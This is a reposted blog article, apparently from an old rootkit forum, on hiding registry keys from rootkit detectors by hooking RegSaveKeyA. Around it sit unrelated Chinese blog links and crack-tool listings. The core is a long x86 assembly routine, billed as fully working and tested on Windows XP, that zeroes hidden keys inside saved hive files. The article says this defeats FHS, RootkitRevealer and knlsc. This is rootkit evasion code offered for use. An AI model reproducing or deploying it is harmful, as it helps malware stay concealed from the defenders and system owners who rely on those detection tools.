How to avoid the detection of hidden regkey by hooking RegSaveKeyA

解剖安全帐号管理器(SAM)结构 解剖安全帐号管理器(SAM)结构 来源:www.opengram.com  类别:黑客文献  日期:2002-5-1 6:28:30  今日/总浏览: 1/386   Author: RefdomEmail : refdom@263.netHomePage: www.opengram.com2002/4/29 I、 摘要II、 关于SAMIII、注册表中SAM数据库的结构IV、 SAM数据 阅读详情
How to avoid the detection of hidden regkey by hooking RegSaveKeyA

 By: EiNSTeiN_
How it works:
Many hidden-regkey-detection tools detect hidden stuff by dumping some
registry hives to a file and then compare it to what is returned by some
usualy-hooked function like NtEnumerateKey. Now the first problem is, if we
want to patch the file, is to read it, because the structure of a
registry hive is not documented by microsoft, and I actualy found only one
paper that describe it well enough to understand something.



Lets say we know how to correctly patch it, the question is wich functions
should we hook ? Why not hooking NtSaveKey (higher-level function) instead
of RegSaveKey ? This is the second problem. NtSaveKey (wich is called
internaly by RegSaveKey) take only the key hanlde and the file handle as
parameter.

NtSaveKey(
IN HANDLE KeyHandle,
IN HANDLE FileHandle
);

FileHandle must be a valid handle to a file object returned by a call to
CreateFile. Unfortunatly, the file is openend most of the time with only
WRITE access (NtSaveKey don't need READ access), and I don't know how to
add the missing READ access. If someone know PLEASE let me know :).

Now what about RagSaveKeyA :
RegSaveKeyA is called with the complete path of the file where to save the
hive, so we'll just have to call the original RegSaveKeyA and then re-open
the file and patch it. This just looks like what we need!

Limitation of the code:
The main way of bypassing this code is if someone dump the
HKLM/SYSTEM/CurrentControlSet/Services hive with RegSaveKey, restore it
with RegRestoreKey and then reboot the computer, all hidden services will
be removed.

You will also have to code a cmp_pchar_with_hidden_regkey_list fucntion,
wich the prototype looks like:
void cmp_pchar_with_hidden_regkey_list(char *keyname, int namesize);
return 1 if the key must be hidden, otherwise return 0


I hope i've been clear enough and everyone understood me, and sorry for my
poor english.


Here's a fully-working replacement function for RegSaveKeyA that bypass
FHS, rootkit revealer and knlsc.

Tested on XP Sp0 and Sp2


      push ebp
      mov ebp, esp
      sub esp, 028h
      /*
       -028            -        DWORD    address of the frist hbin block
       -024            -        DWORD    file opened
       -020            -        DWORD   current data-block addr
       -01C            -        DWORD    current data-block size
       -018            -        DWORD   offset to the next hbin block (size
of current block)
       -014            -        DWORD    address of the current hbin block
       -010            -        DWORD    total data-blocks size
       -00C            -        LPVOID    MappedView
       -008            -        HANDLE    MappedFile
       -004            -        BOOL    LResult
       +008            -        HANDLE    KeyHandle
       +00C            -        LPCTSTR
lpFile                                 //HANDLE FileHandle
       +010            -        LPSECURITY_ATTRIBUTES lpSecurityAttributes
      */



      //*********************************
      //CALL THE ORIGINAL RegSaveKey HERE
      //*********************************



      push 0
      push 0
      push OPEN_EXISTING
      push 0
      push 0
      push GENERIC_WRITE|GENERIC_READ
      push [ebp+00Ch]
      call [CreateFileA]
      cmp eax, -1 //INVALID_HANDLE_VALUE
      je go_ret
      /* msdn:
      If the function succeeds, the return value is an open handle to the
specified file.
      If the function fails, the return value is INVALID_HANDLE_VALUE.
      */
      mov [ebp-024h], eax

      //call CreateFileMapping(File Handle)
      push 0                //name = NULL
      push 0 //[ebp-024h]    //size low
      push 0                //size high = 0
      push PAGE_READWRITE    //protect = read and write access
      push 0                //attributes = NULL
      push [ebp-024h]        //file handle
      call [CreateFileMapping]
      mov [ebp-008h], eax
      /* msdn:
      If the function succeeds, the return value is a handle to the file
mapping object.
      If the function fails, the return value is NULL.
      */
      cmp dword ptr [ebp-008h], 0
      je  close_file

      //call MapViewOfFile(mapped file)
      push 0                            //bytes to map = 0 (map all)
      push 0                            //offset low = 0
      push 0                            //offset high = 0
      push FILE_MAP_READ|FILE_MAP_WRITE    //desired access
      push [ebp-008h]                    //file mapping object
      call [MapViewOfFile]
      mov [ebp-00Ch], eax
      /* msdn:
      If the function succeeds, the return value is the starting address of
the mapped view.
      If the function fails, the return value is NULL.
      */
      cmp dword ptr [ebp-00Ch], 0
      je  close_map


      //now, patch the file !

      //first we check for the regf (registry file) header
      mov eax, [ebp-00Ch]
      mov edi, [eax]
      cmp edi, 066676572h // 'regf'
      jne unmap_view //seems to be not a registry file :s

      //save total size of all blocks
      mov edi, [eax+028h]
      mov [ebp-010h], edi
      //do some preparing for the upcoming loop
      mov [ebp-014h], eax
      mov dword ptr [ebp-018h], 01000h

      //save address of the first hbin block
      add eax, 01000h
      mov [ebp-028h], eax
    process_next_hbin:
      //jump to the next hbin block
      mov eax, [ebp-014h] //addr
      add eax, [ebp-018h] //size

      //confirm we got bin header block
      mov edi, [eax]
      cmp edi, 06E696268h // 'hbin'
      jne unmap_view //seems to be not a bin header :s

      //backup addr of current hbin block
      mov [ebp-014h], eax

      //save offset to the next hbin block
      mov edi, [eax+008h]
      mov [ebp-018h], edi
      cmp dword ptr [ebp-018h], 0
      je unmap_view //seems we have a hbin block with a size of zero. exit
for no deadlock

      //check if we reached the data-blocks size
      mov edi, [ebp-014h]
      sub edi, [ebp-00Ch]
      mov esi, [ebp-010h]
      cmp edi, esi
      jae unmap_view

      //do some preparing for the next loop
      mov [ebp-020h], eax
      mov dword ptr [ebp-01Ch], 020h
    process_next_datablock:
      //_emit 0xCC
      //jump to the next data-block
      mov eax, [ebp-020h] //addr
      add eax, [ebp-01Ch] //size

      //save current size
      mov edi, [eax]
      cmp edi, [ebp-018h]
      jb not_neg //if offset is inside the hbin block
      not edi
      inc edi
    not_neg:
      lea edi, [edi-004]
      mov [ebp-01Ch], edi
      cmp dword ptr [ebp-01Ch], 0
      je process_next_hbin //seems we have a data-block with a size of
zero. go to next hbin for no deadlock

      //check for hbin block
      cmp dword ptr [eax], 06E696268h // 'hbin'
      je  process_next_hbin

      //save current address
      add eax, 4
      mov [ebp-020h], eax

      //check if we reached the data-blocks size
      mov edi, [ebp-014h]
      sub edi, [ebp-00Ch]
      mov esi, [ebp-010h]
      cmp edi, esi
      jae unmap_view

      //check for hbin block
      //cmp dword ptr [eax], 06E696268h // 'hbin'
      //je  process_next_hbin

      //check for nk
      cmp word ptr [eax], 06B6Eh // 'nk'
      //je  process_nk_block

      //found a block that we don't need to process now
      jne process_next_datablock
      //-------- end of loop


      //patch each blocks
    process_nk_block:
      cmp word ptr [eax+002h], 02Ch
      je process_nk_block_rootkey //got a rootkey: we have nothing to do
with that
      cmp word ptr [eax+002h], 020h
      jne process_nk_block_end //got something else than what expected

      //process the key record

      xor ecx,ecx
      mov cx, word ptr [eax+048h]    //ecx = len
      lea edi, [eax+04Ch]            //edi = name

      //check if the key name must be hidden
      //if it is, fill the content of the key block and its value-blocks
with zeros. same for sub-keys
      push ecx //len
      push edi //name
      call [cmp_pchar_with_hidden_regkey_list]
      cmp eax, 1
      jne process_nk_block_end //not to hide, exit

      //call the nk cleaning function
      push [ebp-028h] //first hbin block
      push [ebp-020h] //nk block
      call [clean_nk]
      jmp process_nk_block_end

      // void clean_nk(PVOID nk_block, PVOID hbin_block);
    clean_nk:
      push ebp
      mov ebp, esp
      sub esp, 008h
      /*
        -010 subkeys list address
        -00C number of subkeys
        -008 value list address
        -004 number of values
        +008 address of nk block
        +00C address of hbin block (because all offsets are relative to
this block)
      */
      push esi
      push edi
      push ecx

      //get the value list
      mov eax, [ebp+008h] //nk
      mov edi, [eax+028h] //offset to value list
      cmp edi, -1
      je clean_nk_subkey_start
      cmp edi, 0
      je clean_nk_subkey_start
      add edi, [ebp+00Ch] //hbin
      add edi, 4
      mov [ebp-008h], edi

      //get the value list size
      mov ecx, [edi-004h]
      not ecx
      inc ecx
      lea ecx, [ecx-004]
      mov [ebp-004h], ecx

      //clean it
      xor esi, esi
    clean_nk_loop_value:
      mov edi, [ebp-008h] //value list addr
      mov eax, [edi+esi]  //address of entry
      cmp eax, -1
      je clean_nk_loop_end
      cmp eax, 0
      je clean_nk_loop_end
      add eax, [ebp+00Ch] //hbin

      push [ebp+00Ch]
      push eax        //address of vk entry
      call [clean_value]

    clean_nk_loop_end:
      mov dword ptr [edi+esi], 0
      add esi, 4
      cmp ecx, esi
      ja clean_nk_loop_value


    clean_nk_subkey_start:
      //get sub-keys lf record
      mov eax, [ebp+008h] //nk block
      mov edi, [eax+01Ch] //offset to lf record
      cmp edi, -1
      je clean_nk_block_start
      cmp edi, 0
      je clean_nk_block_start
      add edi, [ebp+00Ch] //hbin block
      mov esi, [edi]
      not esi
      inc esi
      lea esi, [esi-004]
      lea esi, [esi-004]
      mov [ebp-00Ch], esi //number of subkey
      add edi, 8
      mov [ebp-010h], edi //address of subkey list

      //clean it
      mov ecx, esi
      xor esi, esi
    clean_nk_loop_subkey:
      mov eax, [ebp+00Ch] //hbin
      mov edi, [ebp-010h] //value list addr
      add eax, [edi+esi]  //address of entry

      push [ebp+00Ch]
      add eax, 4
      push eax           //address of nk entry
      call [clean_nk]

      mov dword ptr [edi+esi], 0
      mov dword ptr [edi+esi+4], 0
      add esi, 8
      cmp ecx, esi
      ja clean_nk_loop_subkey

    clean_nk_block_start:
      mov edi, [ebp+008h]
      mov ecx, [edi-004]
      not ecx
      inc ecx
      lea ecx, [ecx-004]

    clean_nk_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_nk_zero_next

    //clean_nk_exit:
      pop ecx
      pop edi
      pop esi
      leave
      ret 008h
      // ------------------ endp


      // void clean_value(PVOID vk_block, PVOID hbin_block);
    clean_value:
      push ebp
      mov ebp, esp
      sub esp, 000h
      /*
        +008 address of vk block
        +00C address of hbin block
      */
      push esi
      push edi
      push ecx

      //prepare for the loop
      mov esi, [ebp+008h]
      mov ecx, [esi] //size of block
      not ecx
      inc ecx
      lea ecx, [ecx-004]
      lea edi, [esi+004h]

      cmp word ptr [edi], 0x6B76 // 'vk'
      jne clean_value_end //check if we realy have a vk block

      cmp dword ptr [edi+00Ch], 4 //the data is stored in the offset field
      je no_data_to_clean


      mov esi, [edi+008h]
      cmp esi, 0
      je no_data_to_clean
      cmp esi, -1
      je no_data_to_clean
      add esi, [ebp+00Ch]
      push esi
      call [clean_vk_data]
    no_data_to_clean:

      //ecx = size of vk block
      //edi = address of vk block
    clean_value_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_value_zero_next

    clean_value_end:
      pop ecx
      pop edi
      pop esi
      leave
      ret 008h
      // ------------------ endp


      // void clean_vk_data(PVOID vk_data);
    clean_vk_data:
      push ebp
      mov ebp, esp
      sub esp, 000h
      /*
        +008 address of vk data
      */
      push esi
      push edi
      push ecx


      mov edi, [ebp+008h]
      mov ecx, [edi]
      add edi, 4
      not ecx
      inc ecx
      lea ecx, [ecx-004]

      //ecx = size of vk block
      //edi = address of vk block
    clean_vk_data_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_vk_data_zero_next

    //clean_vk_data_end:
      pop ecx
      pop edi
      pop esi
      leave
      ret 004h
      // ------------------ endp


    process_nk_block_rootkey:
    process_nk_block_end:
      jmp process_next_datablock

    unmap_view:
      //call UnmapViewOfFile(mapped view)
      push [ebp-00Ch]
      call [UnmapViewOfFile]

    close_map:
      //call CloseHandle(mapped file)
      push [ebp-008h]
      call [CloseHandle]

    close_file:
      push [ebp-024h]
      call [CloseHandle]
read comments (7) / write comment


recent comments:
typedefs & more details EiNSTeiN_ 24.Mar:20:12
Support Tools from Sysinternals.com kangeroo_4u 21.Mar:06:46
good,but.... ntsystem 20.Mar:16:36
work still needed on the code ... EiNSTeiN_ 20.Mar:16:32
BTW nice work! dsei 20.Mar:00:32
. . .
高分六号GF-6 WFV数据处理全流程:从原始数据解压到经纬度投影转换 本文详细解析了高分六号GF-6 WFV遥感数据的完整处理流程。从原始数据解压与分块结构理解入手,指导如何安装ENVI国产卫星支持工具进行自动拼接,并重点阐述了利用RPC模型进行正射校正以消除几何畸变,以及将UTM投影转换为地理经纬度坐标的关键步骤。文章旨在帮助用户高效地将原始卫星数据转化为可直接用于农业监测、生态环境分析等领域的标准地理空间图像。 阅读详情

相关推荐

大学生电赛学习之路

可以看到全国大学生电子设计大赛的认可度是非常高的,属于A类学科竞赛。电子设计大赛的形式也是给出题目,参赛者有四天三夜的时间解决问题,题目大致可以分为:控制类、测量类、高频类以及电力电子类。该竞赛会在单数年的9月份举行。但是对于新生来说电赛确实遥不可及的,可能在很多学校本科生是不能进入实验室的,但是就算进了实验室你就有资格去参加电赛或者说能拿一个不错的奖项吗? 现在正值新生开学季,当然会有一大批学生会进入实验室的学习,电赛的举办时间是每年的暑假,所以说对于大一同学来说有一年的时间去准备,那我们就来说一说参加.

weixin_46098612的博客 8790

regsavekey 如何使用_你不知道的10个电脑使用技巧!

电脑几乎是我们日常使用的工具关于电脑的使用技巧你又知道多少呢?下面搞机君给大家整理了10个常用技巧希望对大家的工作或学习效率有所帮助01打开虚拟键盘如果我们的键盘坏了,没有了键盘怎么用电脑呢?我们这时候应该这样,用Win+R键打开运行后输入“osk”就可以打开我的电脑中的虚拟键盘。可能有小伙伴要问,我的键盘全坏了或者是Win键坏了,该如何调出屏幕键盘呢?我们可以打开设置,然后找到...

weixin_39850920的博客 209

5G NR上行控制信道PUCCH

一、PUCCH概述 PUCCH用于承载上行控制信息,相比LTE,NR PUCCH支持5种不同的格式,按照时域上所占用的符号数量可以分为短格式和长格式两种,如下表所示,短格式占用1-2个符号,可以承载1-2bit信息,长格式占用4-14个符号,可承载大于2bit的信息。NR引入短格式PUCCH的目的是可以缩短HARQ-ACK反馈的时延,长格式仍然是考虑到持续时间长可以保证覆盖。 NR中,考虑到系...

一个关于5G NR的博客^^ 3万+

How to avoid the detection of hidden regkey by hooking NtSaveKey!

This is all based on EiNSTeiN_s article https://www.rootkit.com/newsread.php?newsid=272 How to avoid the detection of hidden regkey by hooking RegSaveKeyA, and also the notes from his follow-on board

3663

Windows 11下Telnet端口23连接失败的终极解决方案(附详细排查步骤)

本文详细解析了Windows 11系统中Telnet端口23连接失败的常见原因及解决方案。从Telnet客户端功能启用、服务端配置检查到网络连接诊断,提供了一套完整的排查步骤,帮助用户快速定位并解决连接问题,同时给出了安全使用Telnet的建议。

win55的博客 458

微机原理课程设计-模拟十字路口交通信号灯

一、设计任务描述 1.1设计目的 通过课程设计使学生更进一步掌握微机原理及应用课程的有关知识,提高应用微机解决问题的能力,加深对微机应用的理解。通过查阅资料,结合所学知识进行软、硬件的设计,使学生初步掌握应用微机解决问题的步骤及方法。为以后学生结合专业从事微机应用设计奠定基础。 1.2 设计要求 控制LED灯,按照十字路口红绿灯的原理亮灭显示: (1) 东西方向车辆放行x秒...

Learning_is_endless的博客 2万+

stunnel使用详解

http://www.stunnel.org/faq/args.htmlhttp://www.colasoft.com.cn/support/monitor_stunnel.php科来网络分析系统与stunnel结合使用科来网络分析系统是一款强大的网络检测分析工具,可对网络中未加密的数据传输进行检测分析并实时显示分析结果,包括用户的邮件收发、Web访问以及各种网络登录等操作。所以,未经加密的数据传

FreeXploiT 1万+

利用OrthoFinder做泛基因家族聚类分析

这条命令会将 Arabidopsis_thaliana.TAIR10.59_longest_trans.pep.fa 文件中的所有序列ID,去掉ID中的空格后面的部分,只保留 > 后第一个空格之前的基因ID,并将结果保存在 An1.fasta 文件中。muscle 是一种常用的多序列比对工具,用于基因组或蛋白质序列的比对。基因家族(Gene family),是来源于同一个祖先,由一个基因通过基因重复而产生两个或更多的拷贝而构成的一组基因,它们在结构和功能上具有明显的相似性,编码相似的蛋白质产物。

qq_64400864的博客 2756

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

AI上推荐 之 隐语义模型(LFM)和矩阵分解(MF)

1. 前言 随着信息技术和互联网的发展, 我们已经步入了一个信息过载的时代,这个时代,无论是信息消费者还是信息生产者都遇到了很大的挑战: 信息消费者:如何从大量的信息中找到自己感兴趣的信息? 信息生产者:如何让自己生产的信息脱颖而出, 受到广大用户的关注? 为了解决这个矛盾, 推荐系统应时而生, 并飞速前进,在用户和信息之间架起了一道桥梁,一方面帮助用户发现对自己有价值的信息, 一方面让信息能够展现在对它感兴趣的用户前面。 推荐系统近几年有了深度学习的助推发展之势迅猛, 从前深度学习的传统推荐模型(协

Miracle8070 1万+

PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出)

PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出)

算法如诗的博客 258

万能上传击溃ASP/PHP/JSP脚本系统

 文/图 勇哥儿本文已发表在黑客x档案,转载请注明 自从动网7拉开上传漏洞序幕后,各种系统的上传漏洞接踵而来!它们的漏洞原理基本都差不多,利用方法上有略微的差异,简言之可以归纳为几步:先抓包,然后修改文件类型,再在上传路径后加上空格,用十六进制编辑器把空格改成00,最后用NC提交。当然最好还是找一个具体的UpFile文件来自己分析一下,这样有助于提高对漏洞的理解和记忆!本文没有太高深的技术,只不过

FreeXploiT 8071

038、OIS 光学防抖原理与调试:陀螺仪数据融合、Lens Shift OIS 的闭环控制

本文分享了OIS光学防抖系统的调试经验和关键技术要点。作者通过一个"呼吸感"Bug案例,揭示了陀螺仪数据融合和闭环控制的重要性。系统介绍了OIS的三个关键层次:传感器层(陀螺仪特性)、控制层(复合算法)和执行层(闭环控制)。重点讲解了陀螺仪数据融合的互补滤波实现、Lens Shift闭环控制的PID优化策略(包括积分抗饱和和微分滤波),以及前馈补偿的应用。最后总结了调试中的关键问题:数据同步、霍尔校准、温度补偿和性能评估方法,并给出实用建议:平衡算法复杂度与性能、预留带宽余量、重视产线校准等。文章强调OIS

sundong_81的博客 265

CMD记录器改良版

 文章作者:a11yesno 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)改的不是很良 勉强可用 或许应该弄多一点容错代码 体力活啊。。安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif 注册表 添加 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/Curren

FreeXploiT 6812

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

让所有正向程序实现反向连接【转载】

秘密穿过内网防火墙作者:陈一天  查看:19  平均分:0  日期:2005-6-3  类别:网络通信     小天最近利用微软新爆出的几个漏洞,放出很多C/S木马,但捕获的“肉鸡”却是少之又少,让他郁闷不已。原来,很多中招者都是FTTP+LAN环境下的局域网用户,在小天与被攻击者之间隔有硬件防火墙,而采用IP直连的方法当然是行不通的。此时,他想到了一位法力无边的“天使”Angelshell…… 

FreeXploiT 4674

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

checkfile

 提交时间:2007-06-05工具分类:完整检查运行平台:Windows工具大小:144783 Bytes文件MD5:db533270b4a6ac329bb033a173644747工具来源:互联网,百度+GOOGLE可用于系统文件 完成性的检测 防止被后门更改或者替换里面有三款工具分别是 微软的fciv 以及fsum 和 md5都是在命令行下校验的校验工具 个人觉得 【 fsum 】尤其强大它

FreeXploiT 4611

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

上一篇: Avoiding new methods of process detection
下一篇: 系统级ring3后门——byshell v0.64编程与应用(zz)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值